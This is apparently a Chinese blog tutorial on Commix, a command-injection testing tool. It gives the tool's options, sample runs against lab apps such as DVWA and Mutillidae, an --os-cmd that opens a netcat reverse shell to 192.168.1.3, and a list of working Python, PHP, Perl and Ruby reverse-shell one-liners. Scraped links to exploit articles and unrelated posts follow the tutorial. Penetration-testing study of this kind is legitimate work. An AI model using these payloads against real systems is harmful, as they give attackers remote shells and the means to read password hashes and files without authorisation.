介绍

  项目地址:https://github.com/stasinopoulos/commix

  Commix是一个使用Python开发的漏洞测试工具,这个工具是为了方便的检测一个请求是否存在命令注入漏洞,并且对其进行测试,在其作者发布的最新版本中支持直接直接导入burp的历史记录进行检测,大大提高了易用性。

使用

选项:
    -v           VERBOSE详细程度级别(-,默认值:)。
    --version       显示版本号并退出。
    --output-dir=..   设置自定义输出目录路径。
    -s SESSION_FILE   从存储(.sqlite)文件加载会话。
    --flush-session   刷新当前目标的会话文件。
    --ignore-session  忽略存储在会话文件中的结果。   目标:
    -u URL,--url = URL  目标URL。
    --url-reload      在命令执行后重新加载目标URL。
    -l LOGFILE       解析来自HTTP代理日志文件的目标和数据。
    --crawl = CRAWLDEPTH 从目标网址开始抓取网站(-,默认值:)。   请求:
    --data=DATA      要通过POST发送的数据字符串。
    --host=HOST       HTTP主机头。
    --referer=REFERER   HTTP Referer标头。
    --user-agent=AGENT  HTTP用户代理头。
    --random-agent    使用随机选择的HTTP User-Agent头。
    --param-del=PDEL   设置分割参数值的字符。
    --cookie=COOKIE    HTTP Cookie头。
    --cookie-del=CDEL   设置分割cookie值的字符。
    --headers=HEADERS  额外标头(例如「Header1:Value1 \ nHeader2:Value2」)。
    --proxy=PROXY     使用HTTP代理(例如“127.0.0.1:”)。
    --tor          使用Tor网络。
    --tor-port=...    设置Tor代理端口(默认值:)。
    --auth-url=...    登录面板URL。
    --auth-data =AUTH   登录参数和数据。
    --auth-type =AUTH   HTTP认证类型(例如“基本”或“摘要”)。
    --auth-cred =AUTH   HTTP身份验证凭据(例如“admin:admin”)。
    --ignore-401      忽略HTTP错误401(未授权)。
    --force-ssl      强制使用SSL / HTTPS。   枚举:
    这些选项可用于枚举目标主机。
    --all            检索一切。
    --current-user       检索当前用户名。
    --hostname         检索当前主机名。
    --is-root          检查当前用户是否具有root权限。
    --is-admin         检查当前用户是否具有管理员权限。
    --sys-info         检索系统信息。
    --users           检索系统用户。
    --passwords         检索系统用户密码散列。
    --privileges        检索系统用户权限。
    --ps-version        检索PowerShell的版本号。   文件访问:
    这些选项可用于访问目标主机上的文件。
    --file-read = FILE ..  从目标主机读取文件。
    --file-write = FIL ..  写入目标主机上的文件。
    --file-upload = FI ..  在目标主机上上传文件。
    --file-dest = FILE ..  写入和/或上传到的主机的绝对文件路径。   模块:
    这些选项可用于增加检测和/或注射能力。
    --icmp-exfil = IP_ ..'ICMP exfiltration'注入模块。 (例如'ip_src = 192.168.178.1,ip_dst = 192.168.178.3')。
    --dns-server = DNS ..“DNS exfiltration”注入模块。  (用于DNS筛选攻击的域名)。
    --shellshock“炮弹”注射模块。
  注射:
    这些选项可用于指定要插入和输入的参数,提供定制注入有效负载。
    -p TEST_PARAMETER    可测试参数。
    --suffix = SUFFIX    注入有效负载后缀字符串。
    --prefix = PREFIX    注入有效负载前缀字符串。
    --technique = TECH   指定要使用的进样技术。
    --maxlen = MAXLEN    设置与时间相关的最大输出长度,注射技术(默认:10000字符)。
    --delay = DELAY     设置与时间相关的注入的自定义时间延迟术(默认:1秒)。
    --tmp-path = TMP_P .. 设置Web服务器的临时目录的绝对路径。
    --root-dir = SRV_R .. 设置Web服务器根目录的绝对路径。
    --alter-shell = AL .. 使用另一个os-shell(例如'Python')。
    --os-cmd = OS_CMD    执行单个操作系统命令。
    --os = OS        将后端操作系统强制为此值。
    --tamper = TAMPER   使用给定脚本篡改注射数据。   检测:
    这些选项可用于自定义检测阶段。     --level = LEVEL  要执行的测试级别(-,默认值:)。
    --skip-calc    在检测期间跳过数学计算
    --dependencies  检查第三方(非内核)依赖关系。
    --skip-waf    绕过启发式检测WAF / IPS / IDS保护。

使用举例

python commix.py –url="http://192.168.1.4/test/test.php?addr=INJECT_HERE” --os-cmd="nc -e /bin/sh 192.168.1.3 1234″

Freebuf给出的一些用法(http://www.freebuf.com/sectool/64030.html)

测试漏洞web应用Damn

python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=INJECT_HERE&submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"

使用注入攻击Payload参数测试php-Charts 1.0

python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=INJECT_HERE" --prefix="//" --suffix="'"

使用特殊的头和HTTP代理测试OWASP Mutillidae

python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" --data="target_host=INJECT_HERE" --headers="Accept-Language:fr\nETag:123\n" --proxy="127.0.0.1:8081"

使用ICMP渗漏(exfiltration)技术测试Persistence

su -c "python commix.py --url="http://192.168.178.8/debug.php" --data="addr=127.0.0.1" --icmp-exfil="ip_src=192.168.178.5,ip_dst=192.168.178.8""

配合一些反弹shell

. Python-reverse-shell:
  python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”192.168.1.3\”,));os.dup2(s.fileno(),); os.dup2(s.fileno(),); os.dup2(s.fileno(),);p=subprocess.call([\”/bin/sh\”,\”-i\”]);’
. PHP-reverse-shell:
  php -r ‘\$sock=fsockopen(\”192.168.1.3\”,);exec(\”/bin/sh -i <% >% >%\”);’
. Perl-reverse-shell:
  perl -e ‘use Socket;\$i=\”192.168.1.3\”;\$p=;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\”tcp\”));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\”>%26S\”);open(STDOUT,\”>%26S\”);open(STDERR,\”>%26S\”);exec(\”/bin/sh -i\”);};’
. Ruby-reverse-shell:
  ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(\”192.168.1.3\”,);while(cmd=c.gets);IO.popen(cmd,\”r\”){|io|c.print io.read}end’

Commix命令注入漏洞利用的更多相关文章

  1. DVWA各等级命令注入漏洞

    漏洞描述 在web程序中,因为业务功能需求要通过web前端传递参数到后台服务器上执行,由于开发人员没有对输入进行严格过滤,导致攻击者可以构造一些额外的"带有非法目的的"命令,欺骗后 ...

  2. ThinkPHP5.0.21&5.1.* 代码执行和命令执行漏洞利用

    ThinkPHP5.0.21&5.1.* 代码执行和命令执行漏洞利用 ThinkPHP5.0.21&5.1.*  exploit code execution and command ...

  3. commix 命令注入工具

    关于系统命令注入,可以参考这篇文章:命令攻击介绍 系统命令注入场景 在对企业进行安全测试时候,很少会发现系统注入漏洞.这是因为大部分情况下代码业务主要是数据操作.文件操作.逻辑处理和api接口调用等, ...

  4. CVE-2020-15778 OpenSSH命令注入漏洞复现

    一.漏洞概要 OpenSSH 8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令.目前绝大多数linux系统受影响. 参考链接:https://githu ...

  5. DedeCMS全版本通杀SQL注入漏洞利用代码及工具

    dedecms即织梦(PHP开源网站内容管理系统).织梦内容管理系统(DedeCms) 以简单.实用.开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,近日,网友 ...

  6. Drupal 7.31 SQL注入漏洞利用具体解释及EXP

     有意迟几天放出来这篇文章以及程序,只是看样子Drupal的这个洞没有引起多少重视,所以我也没有必要按着不发了,只是说实话这个洞威力挺大的.当然.这也是Drupal本身没有意料到的. 0x00 首 ...

  7. DedeCMS全版本通杀SQL注入漏洞利用代码

    EXP: Exp:plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\'   or mid=@`\'` /*!50000u ...

  8. CVE-2017-17215 - 华为HG532命令注入漏洞分析

    前言 前面几天国外有个公司发布了该漏洞的详情.入手的二手 hg532 到货了,分析测试一下. 固件地址:https://ia601506.us.archive.org/22/items/RouterH ...

  9. ThinkPHP 5.1.x远程命令执行漏洞利用, 参考POC

    thinkphp5.1.1为例 1.代码执行: http://192.168.0.108/public//index.php?s=index/\think\Request/input&filt ...

随机推荐

  1. Web VLC 设置 tcp 协议播放

    前言 web 端播放rtsp 流,一般都是采用vlc插件,默认是用 UDP 协议播放,这就会存在丢包的可能性,导致界面会变花,要想不花,需要使用更可靠的TCP协议.关于这两种协议的区别,大家可以自行查 ...

  2. Android学习笔记(三)Android开发环境的搭建

    一.配置JAVA环境 二.配置Android开发环境 可以安装adt-bundle-windows,该压缩包一般自带Eclipse.或者安装Android Studio,要注意SDK的版本是否符合要求 ...

  3. iOS Quartz2D画图

    对于刚接触Quartz2D的同学来说,先了解 上下文 的概念,再从最基础的画线来具体体验Quartz2D的画图步骤 介绍Quart2D :是苹果官方的二维(平面)绘图引擎,同时支持iOS和macOS系 ...

  4. mysql5.7.17安装问题

    在根目录新建data文件夹和my.ini,把ini复制到bin目录下才可以

  5. Python基础知识学习_Day7

    一.Subprocess模块 1常用方法 执行命令,返回命令执行状态,0 or非0 >>> retcode = subprocess.call(["ls", &q ...

  6. 命令行启动Hololens Emulator,可解决内存不足的问题

    有时候在虚拟机测试时常会出现 内存不足 的情况,导致应用卡顿,调整 /memsize 参数大小: start "HoloLens" "C:\Program Files ( ...

  7. Unity 发布到IOS,Android的各种坑

    Unity 发布到IOS的注意事项1.开发环境MAC环境:Xcode环境 7.2.1Unity环境:Unity5.32.基本说明首先,我说一下,这是我在对Unity发布到IOS的实际使用中,总结出来的 ...

  8. C++第二天

    今天学会了反码和补码: 1.正数的反码是本身,负数的反码是高位不变,其余位取反(这里的数是指二进制数) 2.补码是反码加一得到的 对于数据类型分为基本类型:整型,浮点型,字符型和布尔值类型,还有飞基本 ...

  9. ios监听ScrollView/TableView滚动的正确姿势

    主要介绍 监测tableView垂直滚动的舒畅姿势 监测scrollView/collectionView横向滚动的正确姿势 1.监测tableView垂直滚动的舒畅姿势 通常我们用KVO或者在scr ...

  10. Java 序列化 JDK序列化总结

    Java 序列化 JDK序列化总结 @author ixenos Java序列化是在JDK 1.1中引入的,是Java内核的重要特性之一.Java序列化API允许我们将一个对象转换为流,并通过网络发送 ...